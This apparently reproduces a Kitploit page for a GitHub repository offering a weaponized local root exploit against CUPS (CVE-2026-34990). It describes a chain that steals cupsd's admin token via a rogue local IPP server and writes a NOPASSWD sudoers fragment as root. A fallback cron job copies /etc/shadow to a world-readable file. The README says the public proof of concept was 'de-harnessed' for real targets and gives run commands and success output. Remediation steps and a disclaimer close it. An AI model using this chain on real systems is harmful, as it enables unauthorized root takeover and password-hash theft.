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CVE-2026-34990 — Local privilege escalation against a root `cupsd`. | Kitploit
Tools/GitHubGitHub/gbuyssens/cve-2026-34990
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubgbuyssens/cve-2026-34990

CVE-2026-34990

Local privilege escalation against a root `cupsd`.

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311 month agoNot yet reviewed
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CVE-2026-34990 — CUPS local privilege escalation (cups2root, de-harnessed)

CVSS 3.x : 8.4 HIGH   (approx — verify)
CWE      : CWE-287 (Improper Authentication) + CWE-269 (Improper Privilege Mgmt)
Fix      : CUPS 2.4.17+
Affects  : CUPS ≤ 2.4.16 with cupsd running as root and 631 reachable locally

Local privilege escalation against a root cupsd. When coerced into acting as an IPP client toward a rogue local server, cupsd answers a 401 WWW-Authenticate: Local challenge by replaying its own admin token. Capturing that token lets an unprivileged user drive cupsd as admin (root). A persistent file:// print queue (printer-is-temporary=false) bypasses the FileDevice policy, so a raw Print-Job writes attacker bytes to any path as root — here a NOPASSWD sudoers fragment.


Table of contents

  • Vulnerability summary
  • Root cause
  • Attack chain
  • De-harnessing vs the public PoC
  • Affected versions
  • This repository
  • Usage
  • Remediation
  • References

Vulnerability summary

Two primitives chain into arbitrary root file-write:

  1. Reusable Local auth. cupsd accepts a Local authentication backed by a root certificate under /run/cups/certs/. Acting as an IPP client, it volunteers that admin token when challenged with 401 WWW-Authenticate: Local. Point cupsd at a fake IPP server you control and you capture a token valid to drive it as root.
  2. FileDevice bypass. file:// as a device-uri is refused by default. Creating the queue with printer-is-temporary=false persists it and side-steps that guard; a raw Print-Job then writes its bytes straight into the target file, as root.

Root cause

                  cupsd (root)                     rogue server 127.0.0.1:9189
                       |                                    |
  CUPS-Create-Local-Printer                                 |
  device-uri=ipp://127.0.0.1:9189/ipp/print                 |
                       |  "validate" the printer            |
                       |----------------------------------->|
                       |   401 WWW-Authenticate: Local      |
                       |<-----------------------------------|
                       |   retry + Authorization: Local <T> |
                       |----------------------------------->|  capture <T>

<T> is cupsd's own admin token — replay it against /admin/ and you are root-equivalent.


Attack chain

1. Cap thread          bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce              CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
                       -> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write          CUPS-Add-Modify-Printer  device-uri=file:///etc/sudoers.d/<user>-pwn
                       printer-is-temporary=false (FileDevice bypass) + accept + resume
                       Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify              sudo -n id   ->   root
   (fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
    to /tmp/shadow-<user> mode 644; wait ≤90s for cron)

De-harnessing vs the public PoC

The reference PoC (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) is a demo harness: it runs as root, spawns its own cupsd and a throwaway unpriv user, then sudo -u unpriv to simulate the attacker. Unusable as-is. Changes:

  1. De-harnessed — no root/spawn scaffolding; targets the system cupsd already root on 127.0.0.1:631.
  2. Real target — attacker = current user (or $ATTACKER); fragment <user> ALL=(ALL) NOPASSWD: ALL.
  3. Raw IPP over sockets — full rewrite with no ipptool / lpadmin / lpinfo / cupsctl

Affected versions

StatusVersions
VulnerableCUPS ≤ 2.4.16
FixedCUPS 2.4.17 and later

This repository

FileRole
exploit.pyPoC: token leak → file:// queue → raw Print-Job → sudoers root
README.mdThis file

Usage

Python 3 standard library only — no dependencies.

# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py

# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py

# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py

On success:

[+] Local token: <token>
[+] ROOT via sudoers

then sudo -i.


Remediation

  1. Upgrade to CUPS 2.4.17+.
  2. Do not run cupsd as root where avoidable; drop privileges / sandbox the service.
  3. Restrict the Local auth and file:// device backend; keep FileDevice policy enforced for persistent queues.
  4. If printing is not needed: systemctl disable --now cups cups-browsed and remove the package.

References

  • NVD — CVE-2026-34990
  • GHSA-c54j-2vqw-wpwp — cups2root (R. de Jager, v12-security)
  • OpenPrinting CUPS 2.4.17 release notes

Disclaimer

This project is for authorized security testing, education, and defensive research only. You are responsible for complying with applicable laws and the rules of engagement of your lab or client.

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